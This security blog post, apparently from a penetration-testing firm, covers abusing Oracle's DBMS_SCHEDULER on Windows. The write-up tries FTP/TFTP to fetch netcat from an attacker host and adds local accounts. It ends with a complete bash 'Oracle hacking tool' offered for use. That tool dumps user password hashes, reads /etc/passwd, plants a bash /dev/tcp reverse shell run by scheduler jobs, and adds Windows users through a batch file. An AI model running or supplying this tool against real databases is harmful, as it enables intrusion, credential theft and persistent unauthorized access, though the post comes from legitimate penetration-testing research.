Oracle DBMS_Scheduler Fun on Windows!

So, last time I showed how to get a Unix reverse shell up and running just by using Oracle PL/SQL commands making use of DBMS_Scheduler. My next challenge was to try and get a similar method to work on a Windows host. In this case there were several challenges:

1) There is no method that I know of to invoke a reverse shell using only Windows commands

2) Windows ACLs and services are different than on Unix for Oracle XE

I started by taking the PL/SQL code that worked on the UNIX box as a basis for the Windows code. Given that I couldn't use Windows commands to create a reverse shell, the easiest alternative option involved uploading software that could. In this case, the goal was to TFTP or FTP netcat to invoke a reverse shell by using PL/SQL code.

I focused on using the DBMS_SCHEDULER again as the method to invoke the jobs. My testbed was Oracle XE 10.2.0.1.0 on a Win 7 host. The results were....unexpected !

To run DBMS_SCHEDULER commands on Windows, the OracleJobSchedulerXE service needs to be started as it is normally stopped. This took a while to figure out, given that none of my jobs were running correctly, and Oracle responses are, lets say, worse than useful! So, going into Windows services and starting this service resolved this issue.

The next problem was the directory you want to FTP or TFTP the files to needs the necessary privileges, again something you easily forget about. So, to keep it open I created c:\Temp and allowed access to Everyone.

The third problem was how to invoke Windows Operating commands from PL/SQL. Unfortunately, you can't just run the command, and the "HOST" command in PL/SQL only works on the client you're running the command from. So with PL/SQL, it's necessary to call any OS command using the full path c:\windows\system32\cmd.exe in your job or program. Using this I would supposedly be able to run the FTP or TFTP command.

So, to test my theory, I created an FTP script file dk_ftp.txt on the Oracle server that would log in anonymously to my ftp server 192.168.1.89 and get nc.exe:

open 192.168.1.89

bin

lcd c:\temp

get nc.exe

bye

This would be called using the Windows command ftp –s:file –A from PL/SQL:

i.e 'C:\WINDOWS\SYSTEM32\CMD.exe /c ftp -s:dk_ftp.txt -A '

The PL/SQL code I used looked like this:

SYS.DBMS_SCHEDULER.create_program(
program_name => 'UPLOADNC',
program_type => 'EXECUTABLE',
program_action => 'C:\WINDOWS\SYSTEM32\CMD.exe /c ftp -s:dk_ftp.txt
-A -i', enabled => TRUE);

SYS.DBMS_SCHEDULER.create_job('UPLOADNC_JOB',


program_name => 'UPLOADNC',
start_date => SYSTIMESTAMP,

enabled => FALSE);


SYS.DBMS_SCHEDULER.ENABLE( 'UPLOADNC_JOB' );

When I ran this script, Oracle essentially lied to me:

SQL*Plus: Release 10.2.0.3.0 - Production on Fri Aug
31 12:33:31 2012

Copyright (c) 1982, 2006, Oracle. All Rights Reserved.

Connected to:

Oracle Database 10g Express Edition Release
10.2.0.1.0 - Production

SQL>

Grant succeeded.

SQL> SQL> SQL> 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

PL/SQL procedure successfully completed.

Although it said it had run the command, there was no nc.exe uploaded. I thought it was a problem with Oracle when asked to upload binary files, or possibly by AV so I tried to upload a text file. The same occurred. I then thought it was a problem with FTP.

I ran the same FTP command locally on the box, no problems, nc.exe was uploaded. At this point I was a tad confused. So, thinking it might be a problem with running FTP in PL/SQL code I changed the Windows command I used to something more arbitrary:

C:\WINDOWS\SYSTEM32\CMD.exe /c echo hello >>dkhello.txt

So putting this into the scheduler:

SYS.DBMS_SCHEDULER.create_program(
program_name => 'UPLOADNC',
program_type => 'EXECUTABLE',
program_action => 'C:\WINDOWS\SYSTEM32\CMD.exe /c echo hello
>>dkhello.txt ', enabled => TRUE);

This worked as expected, my ECHO command output was redirected to the dkhello.txt file.

So, the method to run OS commands via PL/SQL was correct, but FTP was not FTPing correctly.

At this point I decided to use TFTP instead.

tftp -i 192.168.1.89 GET nc.exe c:\temp\nc.exe

I also tried writing the commands to a BAT file, and running the BAT file from the scheduler. Again, the same problem. Oracle said its job had run successfully, but my directory had no nc.exe!

  • Was it Oracle XE causing issues?
  • Was it my PL/SQL code?
  • Was it the fact I tried to use FTP and TFTP and PL/SQL just didn't like it as a 'security' measure?

As I was getting nowhere with running FTP or TFTP via PL/SQL, I decided to see what Windows commands did work. Some examples are provided below:

Net user trustwave trustwave /add – this worked. Great I have a local account on the operating system.

Mkdir c:\temp\tw – this worked. Great I have somewhere to store stuff (if I could
access it!)

Net share tw=c:\temp\tw – this didn't work!! It wouldn't let me create a share,
although I could do it from the windows host.

pkgmgr /iu:"TelnetServer" – This didn't work. I couldn't start a telnet server.

As there didn't seem to be any logic to this pattern, it suggests that the Oracle version I have could just be 'buggy'! Why would you be able to create a user account, but not be able to create a share via PL/SQL? Oracle didn't produce any meaningful error logs, as it just said it had run the code correctly, and analysing the services on the Windows host showed that FTP and TFTP just weren't starting.

In conclusion, it does seem that Oracle XE 10.2.0.1.0 installed on Windows 7 behaves rather oddly when it comes to running Windows commands via PL/SQL. Some commands run OK, others don't !

I understand the rights of the PL/SQL code are run as the user running the OracleJobSchedulerXE service. In this case this was SYSTEM, so that wasn't the issue.

At the time of writing I don't have other systems at hand to try the same commands on other Oracle versions and on other Windows versions. I guess that's for another day. So, next steps to take away from this exercise:

  • Run the same scripts from a full blown Oracle version on a Windows server
  • Investigate further what commands what can and cannot be run
  • Add to the current script with more commands

Anyway, here's the full code including the previous Unix reverse shell script and the new function to add a user on the Windows host.

Hopefully you might find it useful. I've taken scalps using it :-) !

#!/bin/bash

# Script to connect to Oracle database remotely, using sqlplus

# and send some PL/SQL statements to do various things

# NOTE: enum should work for all Oracle, everything else only works with

# Oracle 10 or above as it uses DBMB_SCHEDULER commands which wasnt available

# in earlier versions.

## written by D Kirkpatrick

#

# Define CLI arguments

ARGS=5

USER="$1"

PW="$2"

IP="$3"

SID="$4"

OPTION="$5"

###################################################

# Define constants

####################################################

# change your sqlplus client path location HERE

SQLPLUS=/pentest/SpiderLabs/oracle/instantclient/sqlplus

#########################################################

if [ $# -ne "$ARGS" ]; then

echo ""

printf "Usage: `basename $0` <user> <password> <ip> <sid><option>\n "

printf "e.g. `basename $0` system oracle 192.168.1.76 XE enum\n"

echo ""

echo "Multipurpose Oracle hacking tool. To hack the underlying OS after gaining access to an Oracle server "

echo "Some options are only for UNIX systems and some are only for Windows"

echo ""

echo "OPTIONS are:-"

echo ""

echo "enum = Enumerates various information from database (works on all Oracle)"

echo "read = UNIX-Reads the /etc/passwd file from the Unix host (should work on all Oracle)"

echo "write = UNIX-Writes a trophy file /tmp/guinness.txt"

echo "dkshell = UNIX-Creates a reverse shell - need to start a netcat listener"

echo "adduser = WINDOWS - adds a local user to the Windows host"

exit 0

fi

##########################################################################

# enum - selects the following information from the DB:

# date, version, user, DB name, all users and password hashes,all tables.

###########################################################################

function enum {

###########################################################################

$SQLPLUS
$USER/$PW@//$IP/$SID<<DKSQL

PROMPT ====DATE =====

SELECT sysdate FROM dual;

PROMPT ====ORACLE VERSION ====

SELECT banner from v\$version;

PROMPT ====CURRENT USER ====

SELECT user FROM dual;

PROMPT ====DATABASE NAME ====

SELECT global_name FROM global_name;

PROMPT ====USERNAMES,PASSWORD HASHES (DES) ====

COLUMN username FORMAT A15

COLUMN password FORMAT A20

SELECT username, password, account_status FROM dba_users;

PROMPT ====TABLES ====

SELECT owner, table_name FROM all_tables;

exit;

DKSQL

exit

}

############################################################################

# pwread - retrieves the /etc/passwd file from any UNIX host on any Oracle version

#############################################################################

function pwread {

#############################################################################

$SQLPLUS $USER/$PW@//$IP/$SID<<DKSQL

SET SERVEROUTPUT ON

/

-- Remove this directory if already created

drop directory test_dir

/

create or replace directory test_dir as '/etc/'

/

grant all on directory test_dir to public

/

DECLARE

f utl_file.file_type;

s varchar2(200);

BEGIN

-- open the /etc/passwd file

f := utl_file.fopen('TEST_DIR', 'passwd','R');

-- loop through the file and display each line until finished

LOOP

BEGIN

UTL_FILE.GET_LINE(f,s);

DBMS_OUTPUT.PUT_LINE(s);

EXCEPTION

WHEN NO_DATA_FOUND THEN EXIT ;

END;

END LOOP;

utl_file.fclose(f);

END;

/

DKSQL

exit

}

########################################################################

# testwrite - writes a trophy file on a UNIX system /tmp/guinness.txt

########################################################################

function testwrite {

#########################################################################

$SQLPLUS $USER/$PW@//$IP/$SID<<DKSQL

CREATE DIRECTORY MYDIR as '/tmp';

GRANT read,write on DIRECTORY MYDIR to public;

DECLARE

mydata clob;

mydir varchar2(200);

myfile varchar2(700);

BEGIN

mydata:='I thought I said Guinness was good for you!!';

mydir:= 'MYDIR';

myfile:='guinness.txt';

SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);

COMMIT;

END;

/

DKSQL

exit

}

#############################################################################

# dkshell - creates a reverse shell on UNIX systems only on Oracle 10 or more

#############################################################################

function dkshell {

#############################################################################

echo "Open a tcp port listener"

echo "Enter your listening TCP port:"

read PORT

echo "Enter your attacking host IP:"

read HOST

echo "Go and run your listener e.g. nc -l -p $PORT ....hit any key when ready"

read

$SQLPLUS $USER/$PW@//$IP/$SID<<DKSQL

CREATE DIRECTORY MYDIR as '/tmp';

GRANT read,write on DIRECTORY MYDIR to public;

SET define off;

DECLARE

mydata clob;

mydir varchar2(200);

myfile varchar2(700);

BEGIN

mydata:='bash -i >& /dev/tcp/$HOST/$PORT 0>&1';

mydir:= 'MYDIR';

myfile:='dk_shell.sh';

SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);

COMMIT;

dbms_scheduler.create_job(job_name => 'myjob',

job_type => 'executable',

job_action => '/bin/chmod',

number_of_arguments => 2,

enabled => FALSE,

auto_drop => TRUE);


dbms_scheduler.set_job_argument_value('myjob',1,'755');
dbms_scheduler.set_job_argument_value('myjob',2,'/tmp/dk_shell.sh');

dbms_scheduler.enable('myjob');

dbms_scheduler.create_job(job_name => 'DKSHELL',

job_type => 'EXECUTABLE',

job_action => '/bin/bash',

number_of_arguments => 1,

start_date => SYSTIMESTAMP,

enabled => FALSE);

dbms_scheduler.set_job_argument_value('DKSHELL',1,'/tmp/dk_shell.sh');

dbms_scheduler.enable('DKSHELL');

END;

/

DKSQL

exit

}

##################################################################

# Function adduser - adds a local user to a windows host

##################################################################

function adduser {

##################################################################

echo "Enter the username you want to add"

read USERNAME

echo "Enter the password you want to add for $USERNAME"

read PASSWORD

$SQLPLUS $USER/$PW@//$IP/$SID<<DKSQL

DROP DIRECTORY MYDIR;

CREATE DIRECTORY MYDIR as 'C:\TEMP';

GRANT read,write on DIRECTORY MYDIR to public;

DECLARE

mydata clob;

mydir varchar2(200);

myfile varchar2(700);

BEGIN

mydata:='net user $USERNAME $PASSWORD /ADD';

mydir:= 'MYDIR';

myfile:='dk_adduser.bat';

SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);

COMMIT;

SYS.DBMS_SCHEDULER.create_job('runbat',

job_type => 'EXECUTABLE',

job_action => 'C:\WINDOWS\SYSTEM32\CMD.EXE',

number_of_arguments => 2,

enabled => FALSE,

start_date => SYSTIMESTAMP);


SYS.DBMS_SCHEDULER.set_job_argument_value('runbat',1,'/c');


SYS.DBMS_SCHEDULER.set_job_argument_value 'runbat',2,'C:\TEMP\dk_adduser.bat');

SYS.DBMS_SCHEDULER.ENABLE( 'runbat' );

END;

/

DKSQL

exit

}

#################

case "$OPTION" in

enum)

echo "Enumerating Database (works on all)"

enum

;;

read)

echo "Reading /etc/passwd file"

pwread

;;

write)

echo "Writing trophy file /tmp/guinness.txt"

testwrite

;;

dkshell)

echo "Get a reverse shell onto the UNIX host"

dkshell

;;

adduser)

echo "Add a local user on a Windows host"

adduser

;;

*)

echo "Unknown Option!!"

;;

esac

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.